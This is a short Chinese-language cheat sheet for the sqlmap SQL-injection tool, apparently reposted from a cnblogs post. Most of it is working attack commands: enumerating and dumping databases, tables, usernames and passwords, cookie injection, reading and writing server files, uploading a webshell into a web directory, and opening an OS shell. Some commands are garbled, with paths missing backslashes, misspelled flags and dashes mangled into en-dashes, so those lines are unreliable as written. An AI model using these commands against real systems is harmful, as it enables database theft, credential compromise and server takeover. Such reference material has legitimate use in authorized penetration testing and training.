sqlmap基础使用

sqlmap -u xxx 测试注入
sqlmap -u xxx -dbms 数据库类型 
sqlmap -u --columns 列出所有字段
sqlmap -u xxx --tables 列出所有表
sqlmap -u xxx --dbs 列出所有库
sqlmap -u xxx --bath 自动输入y
sqlmap -u xxx --current-db 列出当前使用的库
sqlmap -u xxx --current-users 列出当前数据库使用的账户
sqlmap -u xxx --users 列出所有用户
sqlmap -u xxx --passwords 列出所有密码
sqlmap -u xxx -T 数据库 -D 表 -C "字段名" --dump 爆字段内容
 
进阶
sqlmap -u xxxx  -cookie"id=xx" -level 2 cookie注入 只有level2才会检测cookie

注入成功后

获取数据库基本信息

sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 --dbs
查询有哪些数据库
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test --tables
查询test数据库中有哪些表
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin --columns
查询test数据库中admin表有哪些字段
sqlmap -u “http://www.vuln.cn/post.php?id=1″ –dbms mysql –level 3 -D test -T admin -C “username,password” --dump
dump出字段username与password中的数据
其他命令参考下面

从数据库中搜索字段

sqlmap -r “c: ools equest.txt” –dbms mysql -D dedecms –search -C admin,password
在dedecms数据库中搜索字段admin或者password。

读取与写入文件

首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
#示例:
sqlmap -r “c: equest.txt” -p id –dbms mysql –file-dest “e:phphtdocsdvwaincinclude1.php” –file-write “f:webshell1112.php”
使用shell命令:
sqlmap -r “c: ools equest.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:phphtdocsdvwa”
#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)

sqlmap详细命令:

  • --is-dba 当前用户权限(是否为root权限)
  • --dbs 所有数据库
  • --current-db 网站当前数据库
  • --users 所有数据库用户
  • --current-user 当前数据库用户
  • --random-agent 构造随机user-agent
  • --passwords 数据库密码
  • --proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
  • --time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
原文地址:https://www.cnblogs.com/haq5201314/p/8394449.html